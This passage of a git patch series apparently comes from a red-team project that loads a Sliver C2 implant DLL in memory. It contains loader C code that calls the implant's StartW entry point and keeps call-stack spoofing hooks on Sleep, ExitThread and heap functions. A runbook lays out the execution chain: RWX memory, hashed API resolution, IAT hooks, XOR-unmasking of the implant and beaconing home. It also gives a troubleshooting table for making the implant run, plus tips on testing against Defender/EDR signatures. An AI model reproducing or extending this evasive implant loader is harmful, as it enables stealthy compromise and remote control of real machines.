IMAGE_EXPORT_DIRECTORY * ) ( dll_dst + export_rva ); + DWORD * names = ( DWORD * ) ( dll_dst + exp->AddressOfNames ); + WORD * ordinals = ( WORD * ) ( dll_dst + exp->AddressOfNameOrdinals ); + DWORD * functions = ( DWORD * ) ( dll_dst + exp->AddressOfFunctions ); + + for ( DWORD i = 0; i < exp->NumberOfNames; i++ ) + { + char * name = ( char * ) ( dll_dst + names [ i ] ); + + if ( name[0]=='S' && name[1]=='t' && name[2]=='a' && name[3]=='r' && + name[4]=='t' && name[5]=='W' && name[6]=='\0' ) + { + ( ( STARTW_FUNC ) ( dll_dst + functions [ ordinals [ i ] ] ) ) ( ); + break; + } + } + } + + /* StartW returns immediately after spawning the beacon goroutine. + * Keep this thread alive so the Go scheduler can run the beacon. */ + KERNEL32$Sleep ( 0xFFFFFFFF ); } \ No newline at end of file diff --git a/crystal-kit-sliver/loader/src/pico.c b/crystal-kit-sliver/loader/src/pico.c index 2a40ed3..6dc1d21 100644 --- a/crystal-kit-sliver/loader/src/pico.c +++ b/crystal-kit-sliver/loader/src/pico.c @@ -59,38 +59,37 @@ VOID WINAPI _Sleep ( DWORD dwMilliseconds ) call.ptr = ( PVOID ) ( KERNEL32$Sleep ); call.argc = 1; - + call.args [ 0 ] = spoof_arg ( dwMilliseconds ); /* - * for performance reasons, only mask - * memory if sleep time is equal to - * or greater than 1 second + * XOR sleep mask deliberately omitted for Go/Sliver compatibility. + * The mask XORs all beacon DLL sections in-place; Go's scheduler runs + * other goroutines on other OS threads while this thread is sleeping, + * so those threads would execute XOR-scrambled code → crash. + * Stack-spoof the Sleep call only. */ - - if ( dwMilliseconds >= 1000 ) { - mask_memory ( &g_memory, TRUE ); - } - spoof_call ( &call ); - - if ( dwMilliseconds >= 1000 ) { - mask_memory ( &g_memory, FALSE ); - } } VOID WINAPI _ExitThread ( DWORD dwExitCode ) { - /* free memory */ - cleanup_memory ( &g_memory ); - - /* call the real exit thread */ + /* + * cleanup_memory deliberately omitted for Go/Sliver compatibility. + * The original code freed dll_dst + pico_code here, which was correct + * for single-threaded CS beacons (one ExitThread = beacon done). + * For Go DLLs, Go's init goroutine calls ExitThread when runtime.main() + * returns, but the beacon goroutine is still alive and running beacon + * code from dll_dst. Freeing dll_dst here = use-after-free crash. + * Just stack-spoof the ExitThread call; the OS will reclaim memory when + * the process eventually exits. + */ FUNCTION_CALL call = { 0 }; call.ptr = ( PVOID ) ( KERNEL32$ExitThread ); call.argc = 1; - - call.args [ 0 ] = spoof_arg ( dwExitCode ); + + call.args [ 0 ] = spoof_arg ( dwExitCode ); spoof_call ( &call ); } @@ -109,6 +108,7 @@ LPVOID WINAPI _HeapAlloc ( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes ) call.args [ 2 ] = spoof_arg ( dwBytes ); result = ( LPVOID ) spoof_call ( &call ); + if ( !result ) { result = KERNEL32$HeapAlloc ( hHeap, dwFlags, dwBytes ); } /* store a record of this heap allocation */ @@ -135,6 +135,7 @@ LPVOID WINAPI _HeapReAlloc ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T d call.args [ 3 ] = spoof_arg ( dwBytes ); LPVOID result = ( LPVOID ) spoof_call ( &call ); + if ( !result ) { result = KERNEL32$HeapReAlloc ( hHeap, dwFlags, lpMem, dwBytes ); } if ( result ) { @@ -175,6 +176,7 @@ BOOL WINAPI _HeapFree ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem ) call.args [ 2 ] = spoof_arg ( lpMem ); BOOL result = ( BOOL ) spoof_call ( &call ); + if ( !result ) { result = KERNEL32$HeapFree ( hHeap, dwFlags, lpMem ); } if ( result ) { diff --git a/docs/RUNBOOK.md b/docs/RUNBOOK.md index 0b23cf7..098cf40 100644 --- a/docs/RUNBOOK.md +++ b/docs/RUNBOOK.md @@ -231,12 +231,15 @@ Execution order inside `run.x64.exe`: 1. `run.x64.exe` reads `prod.crystal.bin` into RWX memory 2. Jumps to offset 0 of the PICO (Crystal Palace `+gofirst` guarantees `go` is there) -3. Crystal Palace loader resolves the Win32 APIs it needs via ror13 hashing +3. Crystal Palace loader resolves Win32 APIs via ror13 hashing 4. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA` -5. Installs Draugr call-stack spoof -6. Unmasks (XOR) the embedded Sliver DLL -7. Calls Sliver's `DllMain(DLL_PROCESS_ATTACH)` -8. Sliver implant initializes and beacons home +5. Installs Draugr call-stack spoofing +6. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`) +7. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable` — required so Go's runtime can call `RtlLookupFunctionEntry` on beacon addresses (goroutine stack growth / async preemption) +8. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code +9. Calls `DllMain(DLL_PROCESS_ATTACH)` — Go runtime init +10. Walks the beacon export table and calls `StartW()` — this is the explicit C2-loop entry point; `DllMain` alone does **not** start the beacon goroutine +11. `Sleep(INFINITE)` keeps the loader thread alive so the Go scheduler can run beacon goroutines On the Sliver console: @@ -246,7 +249,18 @@ sliver > use 2 sliver (WIN10-LAB) > whoami ``` -### 2.6 Iteration: measure detection +### 2.6 Common Phase 2 failures + +| Symptom | Root cause | Fix | +|---|---|---| +| Process runs ~200 s then exits code 1, zero TCP connections | `.pdata` not registered → `RtlLookupFunctionEntry` returns NULL for all beacon addresses → goroutine stack can't grow → connection goroutine panics | `NTDLL$RtlAddFunctionTable` must be called in `loader.c` before `DllMain` | +| Process exits immediately, no network activity | `StartW` not called — all three data-directory lookups returned zero because code was reading headers from `dll_dst` (which has no headers; Crystal Palace `LoadSections` only maps sections) | Use `GetDataDirectory(&dll_data, entry)` everywhere; save `export_rva` before `VirtualFree(dll_src)` | +| CGO / CRT crashes before any network activity | TLS callback[0] (CRT `_initterm`) never called | Walk `IMAGE_DIRECTORY_ENTRY_TLS` before `DllMain`; get RVA from `GetDataDirectory`, not from `dll_dst` | +| Crash in beacon goroutine shortly after start | `_ExitThread` hook frees `dll_dst` while beacon is running | Remove `cleanup_memory` from `_ExitThread` in `pico.c` | +| Random crashes when beacon sleeps | `_Sleep` hook XOR-masks all DLL sections while Go goroutines on other threads keep executing | Remove `mask_memory` calls from `_Sleep` in `pico.c` | +| `VirtualAlloc` / `VirtualFree` / `VirtualProtect` infinite loop | Fallback inside hook used `KERNEL32$Foo` which is rewritten to `_Foo` by `loader.spec` `attach` directive | Use `KERNELBASE$Foo` as fallback (KERNELBASE is not in any `attach` list) | + +### 2.8 Iteration: measure detection - Re-enable Defender / EDR before subsequent tests - Use `external/crystalpalace/dist/link ... -g out.yar` to generate YARA rules against your build, useful for guessing the EDR signature surface From b5b72df378f8ac06db393185654ca66a57beb18a Mon Sep 17 00:00:00 2001 From: Simone Licitra Date: Thu, 11 Jun 2026 11:12:26 +0200 Subject: [PATCH 3/3] fix: Delete --- .../20260610-200618_postex-ux-plan/PRD.md | 32 ------------------- 1 file changed, 32 deletions(-) delete mode 100644 MEMORY/WORK/20260610-200618_postex-ux-plan/PRD.md diff --git a/MEMORY/WORK/20260610-200618_postex-ux-plan/PRD.md b/MEMORY/WORK/20260610-200618_postex-ux-plan/PRD.md deleted file mode 100644 index 28ac10a..0000000 --- a/MEMORY/WORK/20260610-200618_postex-ux-plan/PRD.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -task: plan post-ex UX improvements for CrystalSliver -slug: 20260610-200618_postex-ux-plan -effort: standard -phase: plan -progress: 0/8 -mode: interactive -started: 2026-06-10T20:06:18Z -updated: 2026-06-10T20:10:00Z ---- - -## Context -Operator post-ex flow currently requires 3 separate commands, manual env export, and temp file creation for args. Goal: collapse to 1 command + 1 paste into Sliver, no env setup required. - -### Risks -- sliver-client non-interactive mode uncertain — postex.sh explicitly avoids calling Sliver to sidestep this -- Multi-version CRYSTAL_PALACE_HOME per engagement: .crystalenv is per-operator, env override always wins - -## Criteria -- [x] ISC-1: Plan identifies every friction point in current post-ex flow -- [x] ISC-2: Plan proposes single-command wrapper for DLL → PICO step -- [x] ISC-3: Plan proposes inline args support (no temp file required) -- [x] ISC-4: Plan proposes persistent config for CRYSTAL_PALACE_HOME -- [x] ISC-5: Plan proposes idempotent extension install check -- [x] ISC-6: Plan proposes named PICO output (not generic default) -- [x] ISC-7: Plan specifies what scripts to change vs add -- [x] ISC-8: Plan specifies backward-compatibility constraints - -## Decisions -- postex.sh prints Sliver command rather than calling sliver-client directly — avoids non-interactive CLI uncertainty -- .crystalenv is git-ignored per-operator — avoids committing engagement-specific paths -- Named output default uses input DLL basename — human-readable, no timestamp churn during rapid iteration